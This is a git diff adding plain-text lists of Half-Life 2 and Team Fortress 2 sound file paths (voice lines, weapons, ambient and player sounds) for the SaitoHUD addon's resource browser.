+vo/Streetwar/Alyx_gate/al_usegravgun01.wav +vo/Streetwar/Alyx_gate/al_usegravgun01_r.wav +vo/Streetwar/Alyx_gate/al_usegravgun02.wav +vo/Streetwar/Alyx_gate/al_usegravgun02_r.wav +vo/Streetwar/Alyx_gate/al_usegravgun03.wav +vo/Streetwar/Alyx_gate/al_usegravgun03_r.wav +vo/Streetwar/Alyx_gate/al_waitforme.wav +vo/Streetwar/Alyx_gate/al_watchmyback.wav +vo/Streetwar/barricade/female01/c17_05_firepit_greet.wav +vo/Streetwar/barricade/female01/c17_05_hoppers.wav +vo/Streetwar/barricade/female01/c17_05_letusthru.wav +vo/Streetwar/barricade/female01/c17_05_minehelp1.wav +vo/Streetwar/barricade/female01/c17_05_minehelp2.wav +vo/Streetwar/barricade/female01/c17_05_opengate.wav +vo/Streetwar/barricade/male01/c17_05_firepit_greet.wav +vo/Streetwar/barricade/male01/c17_05_hoppers.wav +vo/Streetwar/barricade/male01/c17_05_letusthru.wav +vo/Streetwar/barricade/male01/c17_05_minehelp1.wav +vo/Streetwar/barricade/male01/c17_05_minehelp2.wav +vo/Streetwar/barricade/male01/c17_05_opengate.wav +vo/Streetwar/nexus/ba_alldown.wav +vo/Streetwar/nexus/ba_comingfromroof.wav +vo/Streetwar/nexus/ba_done.wav +vo/Streetwar/nexus/ba_firstgetin.wav +vo/Streetwar/nexus/ba_gateintro.wav +vo/Streetwar/nexus/ba_headforroof.wav +vo/Streetwar/nexus/ba_ifcitscomethru.wav +vo/Streetwar/nexus/ba_illopenthis.wav +vo/Streetwar/nexus/ba_keepgate.wav +vo/Streetwar/nexus/ba_lasers_goforit.wav +vo/Streetwar/nexus/ba_lastone.wav +vo/Streetwar/nexus/ba_nexusahead.wav +vo/Streetwar/nexus/ba_ourgate.wav +vo/Streetwar/nexus/ba_ownsroof.wav +vo/Streetwar/nexus/ba_prisoners.wav +vo/Streetwar/nexus/ba_rollgrenade.wav +vo/Streetwar/nexus/ba_roofaccess.wav +vo/Streetwar/nexus/ba_seeyou.wav +vo/Streetwar/nexus/ba_settraps.wav +vo/Streetwar/nexus/ba_shieldlobby.wav +vo/Streetwar/nexus/ba_skybreinf.wav +vo/Streetwar/nexus/ba_spotted.wav +vo/Streetwar/nexus/ba_suppressordown.wav +vo/Streetwar/nexus/ba_supp_nothurt.wav +vo/Streetwar/nexus/ba_surrounded.wav +vo/Streetwar/nexus/ba_thenletsgo.wav +vo/Streetwar/nexus/ba_threegen.wav +vo/Streetwar/nexus/ba_totheroof.wav +vo/Streetwar/nexus/ba_turretsyoudeal.wav +vo/Streetwar/nexus/ba_twotogo.wav +vo/Streetwar/nexus/ba_uhohdropships.wav +vo/Streetwar/nexus/ba_usehoppers.wav +vo/Streetwar/nexus/ba_vista01.wav +vo/Streetwar/nexus/ba_vista02.wav +vo/Streetwar/nexus/ba_yougotgravgun.wav +vo/Streetwar/nexus/female01/c17_10_letusout.wav +vo/Streetwar/nexus/female01/d3_c17_12_rockets.wav +vo/Streetwar/nexus/male01/c17_10_heshere.wav +vo/Streetwar/nexus/male01/c17_10_letusout.wav +vo/Streetwar/nexus/male01/d3_c17_12_rockets.wav +vo/Streetwar/rubble/ba_comebackdog.wav +vo/Streetwar/rubble/ba_damnitall.wav +vo/Streetwar/rubble/ba_dogwantsyou.wav +vo/Streetwar/rubble/ba_gordon.wav +vo/Streetwar/rubble/ba_helpmeout.wav +vo/Streetwar/rubble/ba_illbedamned.wav +vo/Streetwar/rubble/ba_lookingforalyx.wav +vo/Streetwar/rubble/ba_nag_wall01.wav +vo/Streetwar/rubble/ba_nag_wall02.wav +vo/Streetwar/rubble/ba_nag_wall03.wav +vo/Streetwar/rubble/ba_nag_wall04.wav +vo/Streetwar/rubble/ba_nag_wall05.wav +vo/Streetwar/rubble/ba_nottheredog.wav +vo/Streetwar/rubble/ba_tellbreen.wav +vo/Streetwar/rubble/ba_trystoppinghim.wav +vo/Streetwar/rubble/d3_c17_13_cache.wav +vo/Streetwar/rubble/d3_c17_13_striders.wav +vo/Streetwar/rubble/female01/d3_c17_13_horse01.wav +vo/Streetwar/rubble/female01/d3_c17_13_horse02.wav +vo/Streetwar/rubble/male01/d3_c17_13_horse01.wav +vo/Streetwar/rubble/male01/d3_c17_13_horse02.wav +vo/Streetwar/sniper/ba_cantmove.wav +vo/Streetwar/sniper/ba_gateclearance.wav +vo/Streetwar/sniper/ba_goodtohavehelp.wav +vo/Streetwar/sniper/ba_hauntsme.wav +vo/Streetwar/sniper/ba_headhumpersgordon.wav +vo/Streetwar/sniper/ba_hearcat.wav +vo/Streetwar/sniper/ba_heycomeon.wav +vo/Streetwar/sniper/ba_letsclearout.wav +vo/Streetwar/sniper/ba_letsgetgoing.wav +vo/Streetwar/sniper/ba_nag_grenade01.wav +vo/Streetwar/sniper/ba_nag_grenade02.wav +vo/Streetwar/sniper/ba_nag_grenade03.wav +vo/Streetwar/sniper/ba_nag_grenade04.wav +vo/Streetwar/sniper/ba_nag_grenade05.wav +vo/Streetwar/sniper/ba_onedownonetogo.wav +vo/Streetwar/sniper/ba_overhere.wav +vo/Streetwar/sniper/ba_returnhero.wav +vo/Streetwar/sniper/ba_takeoutsnipers.wav +vo/Streetwar/sniper/female01/c17_09_cellar.wav +vo/Streetwar/sniper/female01/c17_09_greeting.wav +vo/Streetwar/sniper/female01/c17_09_savebarney.wav +vo/Streetwar/sniper/male01/c17_09_cellar.wav +vo/Streetwar/sniper/male01/c17_09_greeting.wav +vo/Streetwar/sniper/male01/c17_09_help01.wav +vo/Streetwar/sniper/male01/c17_09_help02.wav +vo/Streetwar/sniper/male01/c17_09_help03.wav +vo/Streetwar/sniper/male01/c17_09_savebarney.wav +vo/Streetwar/tunnel/female01/c17_06_det01.wav +vo/Streetwar/tunnel/female01/c17_06_det02.wav +vo/Streetwar/tunnel/female01/c17_06_det03.wav +vo/Streetwar/tunnel/female01/c17_06_det04.wav +vo/Streetwar/tunnel/female01/c17_06_det05.wav +vo/Streetwar/tunnel/female01/c17_06_keepmoving.wav +vo/Streetwar/tunnel/female01/c17_06_notsafe.wav +vo/Streetwar/tunnel/female01/c17_06_password01.wav +vo/Streetwar/tunnel/female01/c17_06_password02.wav +vo/Streetwar/tunnel/female01/c17_06_password04.wav +vo/Streetwar/tunnel/female01/c17_06_plank01.wav +vo/Streetwar/tunnel/female01/c17_06_plank02.wav +vo/Streetwar/tunnel/female01/c17_06_tunnel_greet.wav +vo/Streetwar/tunnel/female01/d3_c17_06_post_det01.wav +vo/Streetwar/tunnel/female01/d3_c17_06_post_det02.wav +vo/Streetwar/tunnel/female01/d3_c17_06_post_det04.wav +vo/Streetwar/tunnel/female01/d3_c17_07_tenant.wav +vo/Streetwar/tunnel/male01/c17_06_det01.wav +vo/Streetwar/tunnel/male01/c17_06_det02.wav +vo/Streetwar/tunnel/male01/c17_06_det03.wav +vo/Streetwar/tunnel/male01/c17_06_det04.wav +vo/Streetwar/tunnel/male01/c17_06_det05.wav +vo/Streetwar/tunnel/male01/c17_06_keepmoving.wav +vo/Streetwar/tunnel/male01/c17_06_notsafe.wav +vo/Streetwar/tunnel/male01/c17_06_password01.wav +vo/Streetwar/tunnel/male01/c17_06_password02.wav +vo/Streetwar/tunnel/male01/c17_06_password03.wav +vo/Streetwar/tunnel/male01/c17_06_password04.wav +vo/Streetwar/tunnel/male01/c17_06_plank01.wav +vo/Streetwar/tunnel/male01/c17_06_plank02.wav +vo/Streetwar/tunnel/male01/c17_06_tunnel_greet.wav +vo/Streetwar/tunnel/male01/d3_c17_06_post_det01.wav +vo/Streetwar/tunnel/male01/d3_c17_06_post_det02.wav +vo/Streetwar/tunnel/male01/d3_c17_06_post_det04.wav +vo/Streetwar/tunnel/male01/d3_c17_07_tenant.wav +vo/trainyard/al_dadstarted.wav +vo/trainyard/al_imalyx.wav +vo/trainyard/al_nicetomeet.wav +vo/trainyard/al_nicetomeet_b.wav +vo/trainyard/al_nomap.wav +vo/trainyard/al_noyoudont.wav +vo/trainyard/al_oldadmin.wav +vo/trainyard/al_overhere.wav +vo/trainyard/al_presume.wav +vo/trainyard/al_suspicious.wav +vo/trainyard/al_suspicious_b.wav +vo/trainyard/al_thisday.wav +vo/trainyard/al_thisday01.wav +vo/trainyard/al_thisday02.wav +vo/trainyard/al_thisday03.wav +vo/trainyard/al_thisday04.wav +vo/trainyard/al_thruhere.wav +vo/trainyard/ba_backup.wav +vo/trainyard/ba_blowcover.wav +vo/trainyard/ba_blowcover_b.wav +vo/trainyard/ba_checkpoints.wav +vo/trainyard/ba_citadel02.wav +vo/trainyard/ba_crowbar01.wav +vo/trainyard/ba_crowbar02.wav +vo/trainyard/ba_exitnag01.wav +vo/trainyard/ba_exitnag02.wav +vo/trainyard/ba_exitnag03.wav +vo/trainyard/ba_exitnag04.wav +vo/trainyard/ba_exitnag05.wav +vo/trainyard/ba_exitnag06.wav +vo/trainyard/ba_exitnag07.wav +vo/trainyard/ba_getin.wav +vo/trainyard/ba_getoutfast.wav +vo/trainyard/ba_goodluck01.wav +vo/trainyard/ba_goodluck02.wav +vo/trainyard/ba_goon.wav +vo/trainyard/ba_gottago.wav +vo/trainyard/ba_heygordon.wav +vo/trainyard/ba_inhere01.wav +vo/trainyard/ba_lookafterdoc.wav +vo/trainyard/ba_lookwho.wav +vo/trainyard/ba_meetyoulater01.wav +vo/trainyard/ba_move01.wav +vo/trainyard/ba_noimgood.wav +vo/trainyard/ba_oldcanals.wav +vo/trainyard/ba_ownway.wav +vo/trainyard/ba_privacy.wav +vo/trainyard/ba_rememberme.wav +vo/trainyard/ba_sorryscare.wav +vo/trainyard/ba_tellme01.wav +vo/trainyard/ba_tellme02.wav +vo/trainyard/ba_thatbeer01.wav +vo/trainyard/ba_thatbeer02.wav +vo/trainyard/ba_thinking01.wav +vo/trainyard/ba_undercover.wav +vo/trainyard/ba_youcomewith.wav +vo/trainyard/cit_blocker_getin.wav +vo/trainyard/cit_blocker_go01.wav +vo/trainyard/cit_blocker_go02.wav +vo/trainyard/cit_blocker_go03.wav +vo/trainyard/cit_blocker_holdem.wav +vo/trainyard/cit_blocker_roof.wav +vo/trainyard/cit_breenagain.wav +vo/trainyard/cit_cell_coupon.wav +vo/trainyard/cit_drunk.wav +vo/trainyard/cit_fence_onlyones.wav +vo/trainyard/cit_fence_woods.wav +vo/trainyard/cit_hall_psst.wav +vo/trainyard/cit_hall_roof.wav +vo/trainyard/cit_lug_allihave.wav +vo/trainyard/cit_lug_allright.wav +vo/trainyard/cit_nerve.wav +vo/trainyard/cit_pacing.wav +vo/trainyard/cit_raid_findone.wav +vo/trainyard/cit_raid_reason.wav +vo/trainyard/cit_raid_start.wav +vo/trainyard/cit_raid_use01.wav +vo/trainyard/cit_raid_use02.wav +vo/trainyard/cit_tookcase.wav +vo/trainyard/cit_tooloud.wav +vo/trainyard/cit_train_endline.wav +vo/trainyard/cit_train_geton.wav +vo/trainyard/cit_train_reloc.wav +vo/trainyard/cit_water.wav +vo/trainyard/cit_window_cop.wav +vo/trainyard/cit_window_hope.wav +vo/trainyard/cit_window_look.wav +vo/trainyard/cit_window_stand.wav +vo/trainyard/cit_window_usnext.wav +vo/trainyard/husb_allright.wav +vo/trainyard/husb_dontworry.wav +vo/trainyard/husb_okay.wav +vo/trainyard/husb_think.wav +vo/trainyard/kl_alyxaround.wav +vo/trainyard/kl_intend.wav +vo/trainyard/kl_morewarn01.wav +vo/trainyard/kl_morewarn02.wav +vo/trainyard/kl_morewarn03.wav +vo/trainyard/kl_verywell.wav +vo/trainyard/kl_whatisit01.wav +vo/trainyard/kl_whatisit02.wav +vo/trainyard/man_me.wav +vo/trainyard/man_waitaminute.wav +vo/trainyard/man_whereyoutakingme.wav +vo/trainyard/wife_canttake.wav +vo/trainyard/wife_end.wav +vo/trainyard/wife_please.wav +vo/trainyard/wife_whattodo.wav +vo/trainyard/female01/cit_bench01.wav +vo/trainyard/female01/cit_bench02.wav +vo/trainyard/female01/cit_bench03.wav +vo/trainyard/female01/cit_bench04.wav +vo/trainyard/female01/cit_foodline01.wav +vo/trainyard/female01/cit_foodline02.wav +vo/trainyard/female01/cit_foodline03.wav +vo/trainyard/female01/cit_foodline04.wav +vo/trainyard/female01/cit_hit01.wav +vo/trainyard/female01/cit_hit02.wav +vo/trainyard/female01/cit_hit03.wav +vo/trainyard/female01/cit_hit04.wav +vo/trainyard/female01/cit_hit05.wav +vo/trainyard/female01/cit_pedestrian01.wav +vo/trainyard/female01/cit_pedestrian02.wav +vo/trainyard/female01/cit_pedestrian03.wav +vo/trainyard/female01/cit_pedestrian04.wav +vo/trainyard/female01/cit_pedestrian05.wav +vo/trainyard/female01/cit_tvbust05.wav +vo/trainyard/female01/cit_window_use01.wav +vo/trainyard/female01/cit_window_use02.wav +vo/trainyard/female01/cit_window_use03.wav +vo/trainyard/female01/cit_window_use04.wav +vo/trainyard/male01/cit_bench01.wav +vo/trainyard/male01/cit_bench02.wav +vo/trainyard/male01/cit_bench03.wav +vo/trainyard/male01/cit_bench04.wav +vo/trainyard/male01/cit_foodline01.wav +vo/trainyard/male01/cit_foodline02.wav +vo/trainyard/male01/cit_foodline03.wav +vo/trainyard/male01/cit_foodline04.wav +vo/trainyard/male01/cit_hit01.wav +vo/trainyard/male01/cit_hit02.wav +vo/trainyard/male01/cit_hit03.wav +vo/trainyard/male01/cit_hit04.wav +vo/trainyard/male01/cit_hit05.wav +vo/trainyard/male01/cit_pedestrian01.wav +vo/trainyard/male01/cit_pedestrian02.wav +vo/trainyard/male01/cit_pedestrian03.wav +vo/trainyard/male01/cit_pedestrian04.wav +vo/trainyard/male01/cit_pedestrian05.wav +vo/trainyard/male01/cit_term_ques02.wav +vo/trainyard/male01/cit_tvbust05.wav +vo/trainyard/male01/cit_window_use01.wav +vo/trainyard/male01/cit_window_use02.wav +vo/trainyard/male01/cit_window_use03.wav +vo/trainyard/male01/cit_window_use04.wav +weapons/357_fire2.wav +weapons/debris1.wav +weapons/debris2.wav +weapons/debris3.wav +weapons/explode3.wav +weapons/explode4.wav +weapons/explode5.wav +weapons/grenade_launcher1.wav +weapons/physgun_off.wav +weapons/stinger_fire1.wav +weapons/underwater_explode3.wav +weapons/underwater_explode4.wav +weapons/357/357_fire2.wav +weapons/357/357_fire3.wav +weapons/357/357_reload1.wav +weapons/357/357_reload3.wav +weapons/357/357_reload4.wav +weapons/357/357_spin1.wav +weapons/airboat/airboat_gun_energy1.wav +weapons/airboat/airboat_gun_energy2.wav +weapons/airboat/airboat_gun_lastshot1.wav +weapons/airboat/airboat_gun_lastshot2.wav +weapons/airboat/airboat_gun_loop2.wav +weapons/ar1/ar1_dist1.wav +weapons/ar1/ar1_dist2.wav +weapons/ar2/ar2_altfire.wav +weapons/ar2/ar2_empty.wav +weapons/ar2/ar2_reload.wav +weapons/ar2/ar2_reload_push.wav +weapons/ar2/ar2_reload_rotate.wav +weapons/ar2/fire1.wav +weapons/ar2/npc_ar2_altfire.wav +weapons/ar2/npc_ar2_reload.wav +weapons/bugbait/bugbait_impact1.wav +weapons/bugbait/bugbait_impact3.wav +weapons/bugbait/bugbait_squeeze1.wav +weapons/bugbait/bugbait_squeeze2.wav +weapons/bugbait/bugbait_squeeze3.wav +weapons/cguard/charging.wav +weapons/crossbow/bolt_fly4.wav +weapons/crossbow/bolt_load1.wav +weapons/crossbow/bolt_load2.wav +weapons/crossbow/bolt_skewer1.wav +weapons/crossbow/fire1.wav +weapons/crossbow/hit1.wav +weapons/crossbow/hitbod1.wav +weapons/crossbow/hitbod2.wav +weapons/crossbow/reload1.wav +weapons/crowbar/crowbar_impact1.wav +weapons/crowbar/crowbar_impact2.wav +weapons/flaregun/burn.wav +weapons/flaregun/fire.wav +weapons/fx/nearmiss/bulletLtoR03.wav +weapons/fx/nearmiss/bulletLtoR04.wav +weapons/fx/nearmiss/bulletLtoR05.wav +weapons/fx/nearmiss/bulletLtoR06.wav +weapons/fx/nearmiss/bulletLtoR07.wav +weapons/fx/nearmiss/bulletLtoR09.wav +weapons/fx/nearmiss/bulletLtoR10.wav +weapons/fx/nearmiss/bulletLtoR11.wav +weapons/fx/nearmiss/bulletLtoR12.wav +weapons/fx/nearmiss/bulletLtoR13.wav +weapons/fx/nearmiss/bulletLtoR14.wav +weapons/fx/rics/ric1.wav +weapons/fx/rics/ric2.wav +weapons/fx/rics/ric3.wav +weapons/fx/rics/ric4.wav +weapons/fx/rics/ric5.wav +weapons/fx/tink/shotgun_shell1.wav +weapons/fx/tink/shotgun_shell2.wav +weapons/fx/tink/shotgun_shell3.wav +weapons/gauss/chargeloop.wav +weapons/gauss/fire1.wav +weapons/grenade/tick1.wav +weapons/iceaxe/iceaxe_swing1.wav +weapons/Irifle/irifle_fire2.wav +weapons/mortar/mortar_explode1.wav +weapons/mortar/mortar_explode2.wav +weapons/mortar/mortar_explode3.wav +weapons/mortar/mortar_fire1.wav +weapons/mortar/mortar_shell_incomming1.wav +weapons/physcannon/energy_bounce1.wav +weapons/physcannon/energy_bounce2.wav +weapons/physcannon/energy_disintegrate4.wav +weapons/physcannon/energy_disintegrate5.wav +weapons/physcannon/energy_sing_explosion2.wav +weapons/physcannon/energy_sing_flyby1.wav +weapons/physcannon/energy_sing_flyby2.wav +weapons/physcannon/energy_sing_loop4.wav +weapons/physcannon/hold_loop.wav +weapons/physcannon/physcannon_charge.wav +weapons/physcannon/physcannon_claws_close.wav +weapons/physcannon/physcannon_claws_open.wav +weapons/physcannon/physcannon_drop.wav +weapons/physcannon/physcannon_dryfire.wav +weapons/physcannon/physcannon_pickup.wav +weapons/physcannon/physcannon_tooheavy.wav +weapons/physcannon/superphys_hold_loop.wav +weapons/physcannon/superphys_launch1.wav +weapons/physcannon/superphys_launch2.wav +weapons/physcannon/superphys_launch3.wav +weapons/physcannon/superphys_launch4.wav +weapons/physcannon/superphys_small_zap1.wav +weapons/physcannon/superphys_small_zap2.wav +weapons/physcannon/superphys_small_zap3.wav +weapons/physcannon/superphys_small_zap4.wav +weapons/pistol/pistol_empty.wav +weapons/pistol/pistol_fire2.wav +weapons/pistol/pistol_fire3.wav +weapons/pistol/pistol_reload1.wav +weapons/rpg/rocket1.wav +weapons/rpg/rocketfire1.wav +weapons/rpg/shotdown.wav +weapons/shotgun/shotgun_cock.wav +weapons/shotgun/shotgun_dbl_fire.wav +weapons/shotgun/shotgun_dbl_fire7.wav +weapons/shotgun/shotgun_empty.wav +weapons/shotgun/shotgun_fire6.wav +weapons/shotgun/shotgun_fire7.wav +weapons/shotgun/shotgun_reload1.wav +weapons/shotgun/shotgun_reload2.wav +weapons/shotgun/shotgun_reload3.wav +weapons/slam/mine_mode.wav +weapons/slam/throw.wav +weapons/smg1/npc_smg1_fire1.wav +weapons/smg1/smg1_fire1.wav +weapons/smg1/smg1_fireburst1.wav +weapons/smg1/smg1_reload.wav +weapons/smg1/switch_burst.wav +weapons/smg1/switch_single.wav +weapons/sniper/sniper_zoomin.wav +weapons/sniper/sniper_zoomout.wav +weapons/stunstick/alyx_stunner1.wav +weapons/stunstick/alyx_stunner2.wav +weapons/stunstick/spark1.wav +weapons/stunstick/spark2.wav +weapons/stunstick/spark3.wav +weapons/stunstick/stunstick_fleshhit1.wav +weapons/stunstick/stunstick_fleshhit2.wav +weapons/stunstick/stunstick_impact1.wav +weapons/stunstick/stunstick_impact2.wav +weapons/stunstick/stunstick_swing1.wav +weapons/stunstick/stunstick_swing2.wav +weapons/tripwire/ropeshoot.wav diff --git a/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt new file mode 100644 index 0000000..ef0f22f --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/data/saitohud/resource_browser/sounds/tf2.txt @@ -0,0 +1,3499 @@ +ambient/bird1.wav +ambient/bird2.wav +ambient/bird3.wav +ambient/chamber_open.wav +ambient/command_center.wav +ambient/computer_tape.wav +ambient/computer_tape2.wav +ambient/computer_working.wav +ambient/computer_working2.wav +ambient/cow1.wav +ambient/cow2.wav +ambient/cow3.wav +ambient/crow1.wav +ambient/crow2.wav +ambient/crow3.wav +ambient/crow4.wav +ambient/desert_indoors.wav +ambient/desert_life.wav +ambient/desert_rustle.wav +ambient/desert_wind.wav +ambient/desert_wind_high.wav +ambient/desert_wind_low.wav +ambient/dog1.wav +ambient/dog2.wav +ambient/dog3.wav +ambient/dog4.wav +ambient/drips1.wav +ambient/drips2.wav +ambient/drips3.wav +ambient/engine_idle.wav +ambient/factory_outdoor.wav +ambient/forest_bird1.wav +ambient/forest_bird2.wav +ambient/forest_bird3.wav +ambient/forest_bird4.wav +ambient/forest_bird5.wav +ambient/forest_bird6.wav +ambient/forest_bird7.wav +ambient/forest_bird8.wav +ambient/forest_bird9.wav +ambient/forest_cliff.wav +ambient/forest_high_wind.wav +ambient/forest_life.wav +ambient/hawk.wav +ambient/indoors.wav +ambient/lighthum.wav +ambient/lightsoff.wav +ambient/lightson.wav +ambient/lightwindcreaks.wav +ambient/machine_hum.wav +ambient/machine_hum2.wav +ambient/nucleus_electricity.wav +ambient/outdoors.wav +ambient/outdoors_quiet_birds.wav +ambient/outdoors_well.wav +ambient/owl1.wav +ambient/owl2.wav +ambient/owl3.wav +ambient/owl4.wav +ambient/pondlife.wav +ambient/pondwater.wav +ambient/printer.wav +ambient/railroad_bells.wav +ambient/rain.wav +ambient/sawblade.wav +ambient/sawblade_impact1.wav +ambient/sawblade_impact2.wav +ambient/shutter4.wav +ambient/shutter5.wav +ambient/shutter6.wav +ambient/siren.wav +ambient/thunder2.wav +ambient/thunder3.wav +ambient/thunder4.wav +ambient/train.wav +ambient/train_engine_idle.wav +ambient/underground.wav +ambient/walkway_move.wav +ambient/warbler.wav +ambient/waterfall.wav +ambient/waterfallinside.wav +ambient/waterfalloutside.wav +ambient/windwinter.wav +ambient/windwinterinside.wav +ambient/water/water_splash1.wav +ambient/water/water_splash2.wav +ambient/water/water_splash3.wav +commentary/tf2-comment000.wav +commentary/tf2-comment001.wav +commentary/tf2-comment002.wav +commentary/tf2-comment003.wav +commentary/tf2-comment004.wav +commentary/tf2-comment005.wav +commentary/tf2-comment006.wav +commentary/tf2-comment007.wav +commentary/tf2-comment008.wav +commentary/tf2-comment009.wav +commentary/tf2-comment010.wav +commentary/tf2-comment011.wav +commentary/tf2-comment012.wav +commentary/tf2-comment013.wav +commentary/tf2-comment014.wav +commentary/tf2-comment015.wav +commentary/tf2-comment016.wav +commentary/tf2-comment017.wav +commentary/tf2-comment018.wav +commentary/tf2-comment019.wav +commentary/tf2-comment020.wav +commentary/tf2-comment021.wav +commentary/tf2-comment022.wav +commentary/tf2-comment023.wav +commentary/tf2-comment024.wav +commentary/tf2-comment025.wav +commentary/tf2-comment026.wav +commentary/tf2-comment027.wav +commentary/tf2-comment028.wav +commentary/tf2-comment029.wav +commentary/tf2-comment030.wav +commentary/tf2-comment031.wav +commentary/tf2-comment032.wav +commentary/tf2-comment033.wav +commentary/tf2-comment034.wav +commentary/tf2-comment035.wav +commentary/tf2-comment036.wav +commentary/tf2-comment037.wav +commentary/tf2-comment038.wav +commentary/tf2-comment039.wav +commentary/tf2-comment040.wav +commentary/tf2-comment041.wav +commentary/tf2-comment042.wav +commentary/tf2-comment043.wav +commentary/tf2-comment044.wav +commentary/tf2-comment045.wav +commentary/tf2-comment046.wav +commentary/tf2-comment047.wav +commentary/tf2-comment048.wav +doors/door_metal_rusty_move1.wav +doors/generic_door_close.wav +doors/generic_door_open.wav +items/cart_explode.wav +items/cart_explode_falling.wav +items/cart_explode_trigger.wav +items/cart_rolling.wav +items/cart_rolling_back_grind1.wav +items/cart_rolling_back_grind2.wav +items/cart_rolling_back_grind3.wav +items/cart_rolling_back_grind4.wav +items/cart_rolling_start.wav +items/cart_rolling_stop.wav +items/cart_warning.wav +items/cart_warning_single.wav +items/gunpickup2.wav +items/pumpkin_drop.wav +items/pumpkin_explode1.wav +items/pumpkin_explode2.wav +items/pumpkin_explode3.wav +items/pumpkin_pickup.wav +items/regenerate.wav +items/spawn_item.wav +misc/achievement_earned.wav +misc/flame_engulf.wav +misc/freeze_cam.wav +misc/freeze_cam_snapshot.wav +misc/happy_birthday.wav +misc/hologram_malfunction.wav +misc/hologram_move.wav +misc/hologram_start.wav +misc/hologram_stop.wav +misc/hud_warning.wav +misc/null.wav +misc/rubberglove_snap.wav +misc/rubberglove_stretch.wav +misc/talk.wav +misc/taps_02.wav +misc/taps_03.wav +misc/tf_domination.wav +misc/tf_nemesis.wav +misc/tf_revenge.wav +misc/training_vid_arena_intro.mp3 +misc/training_vid_cp_badlands.mp3 +misc/training_vid_cp_dustbowl.mp3 +misc/training_vid_cp_granary.mp3 +misc/training_vid_cp_gravelpit.mp3 +misc/training_vid_cp_steel.mp3 +misc/training_vid_cp_well.mp3 +misc/training_vid_ctf_2fort.mp3 +misc/training_vid_ctf_well.mp3 +misc/training_vid_pl_badwater.mp3 +misc/training_vid_pl_goldrush.mp3 +misc/training_vid_tc_hydro.mp3 +misc/your_team_lost.mp3 +misc/your_team_lost.wav +misc/your_team_stalemate.mp3 +misc/your_team_stalemate.wav +misc/your_team_suddendeath.mp3 +misc/your_team_suddendeath.wav +misc/your_team_won.mp3 +misc/your_team_won.wav +physics/body/body_medium_impact_hard1.wav +physics/body/body_medium_impact_hard2.wav +physics/body/body_medium_impact_hard3.wav +physics/body/body_medium_impact_hard4.wav +physics/body/body_medium_impact_hard5.wav +physics/body/body_medium_impact_hard6.wav +physics/body/body_medium_impact_soft1.wav +physics/body/body_medium_impact_soft2.wav +physics/body/body_medium_impact_soft3.wav +physics/body/body_medium_impact_soft4.wav +physics/body/body_medium_impact_soft5.wav +physics/body/body_medium_impact_soft6.wav +physics/body/body_medium_impact_soft7.wav +physics/concrete/concrete_impact_flare1.wav +physics/concrete/concrete_impact_flare2.wav +physics/concrete/concrete_impact_flare3.wav +physics/concrete/concrete_impact_flare4.wav +player/crit_death1.wav +player/crit_death2.wav +player/crit_death3.wav +player/crit_death4.wav +player/crit_death5.wav +player/crit_hit.wav +player/crit_hit2.wav +player/crit_hit3.wav +player/crit_hit4.wav +player/crit_hit5.wav +player/crit_hit_mini.wav +player/crit_hit_mini2.wav +player/crit_hit_mini3.wav +player/crit_hit_mini4.wav +player/crit_hit_mini5.wav +player/crit_received1.wav +player/crit_received2.wav +player/crit_received3.wav +player/death.wav +player/drown1.wav +player/drown2.wav +player/drown3.wav +player/fire.wav +player/flame_out.wav +player/flow.wav +player/invulnerable_off.wav +player/invulnerable_on.wav +player/jingle.wav +player/medic_charged_death.wav +player/pain.wav +player/pl_fallpain.wav +player/pl_fleshbreak.wav +player/pl_impact_airblast1.wav +player/pl_impact_airblast2.wav +player/pl_impact_airblast3.wav +player/pl_impact_airblast4.wav +player/pl_impact_flare1.wav +player/pl_impact_flare2.wav +player/pl_impact_flare3.wav +player/pl_impact_stun.wav +player/pl_impact_stun_range.wav +player/pl_scout_dodge_can_crush.wav +player/pl_scout_dodge_can_drink.wav +player/pl_scout_dodge_can_drink_fast.wav +player/pl_scout_dodge_can_open.wav +player/pl_scout_dodge_can_pitch.wav +player/pl_scout_dodge_tired.wav +player/pl_scout_jump1.wav +player/pl_scout_jump2.wav +player/pl_scout_jump3.wav +player/pl_scout_jump4.wav +player/recharged.wav +player/spy_cloak.wav +player/spy_disguise.wav +player/spy_shield_break.wav +player/spy_uncloak.wav +player/spy_uncloak_feigndeath.wav +player/taunt_bell.wav +player/taunt_bottle_ah.wav +player/taunt_bottle_slosh.wav +player/taunt_chest_thump.wav +player/taunt_chest_thump_alt.wav +player/taunt_cig_case_close.wav +player/taunt_cig_flick.wav +player/taunt_clip_spin.wav +player/taunt_clothes_rustle.wav +player/taunt_clothes_swipe.wav +player/taunt_clothes_swipe2.wav +player/taunt_draw_machete.wav +player/taunt_draw_machete_sniper.wav +player/taunt_equipment_gun1.wav +player/taunt_equipment_gun2.wav +player/taunt_equipment_jingle.wav +player/taunt_equipment_jingle2.wav +player/taunt_equipment_jingle3.wav +player/taunt_equipment_jingle3short.wav +player/taunt_equipment_jingle4.wav +player/taunt_fire.wav +player/taunt_foot_spin.wav +player/taunt_foot_stomp.wav +player/taunt_foot_stomp_light.wav +player/taunt_grenade_catch.wav +player/taunt_hand_clap.wav +player/taunt_hand_clap2.wav +player/taunt_heavy_upper_cut.wav +player/taunt_heel_click.wav +player/taunt_helmet_hit.wav +player/taunt_knuckle_crack.wav +player/taunt_launcher_hit.wav +player/taunt_machete_catch.wav +player/taunt_machete_draw.wav +player/taunt_pistol_twirl.wav +player/taunt_puff.wav +player/taunt_puff_ah.wav +player/taunt_rockstar.wav +player/taunt_rockstar_end.wav +player/taunt_rubberglove_snap.wav +player/taunt_rubberglove_stretch.wav +player/taunt_shake_it.wav +player/taunt_shotgun_shoulder.wav +player/taunt_shotgun_spin.wav +player/taunt_shotgun_twirl.wav +player/taunt_tie_fix.wav +player/taunt_v01.wav +player/taunt_v02.wav +player/taunt_v03.wav +player/taunt_v04.wav +player/taunt_v05.wav +player/taunt_v06.wav +player/taunt_v07.wav +player/taunt_wrench_shoulder.wav +player/uberTaunt_v01.wav +player/uberTaunt_v02.wav +player/uberTaunt_v03.wav +player/uberTaunt_v04.wav +player/uberTaunt_v05.wav +player/uberTaunt_v06.wav +player/uberTaunt_v07.wav +player/footsteps/chainlink1.wav +player/footsteps/chainlink2.wav +player/footsteps/chainlink3.wav +player/footsteps/chainlink4.wav +player/footsteps/concrete1.wav +player/footsteps/concrete2.wav +player/footsteps/concrete3.wav +player/footsteps/concrete4.wav +player/footsteps/dirt1.wav +player/footsteps/dirt2.wav 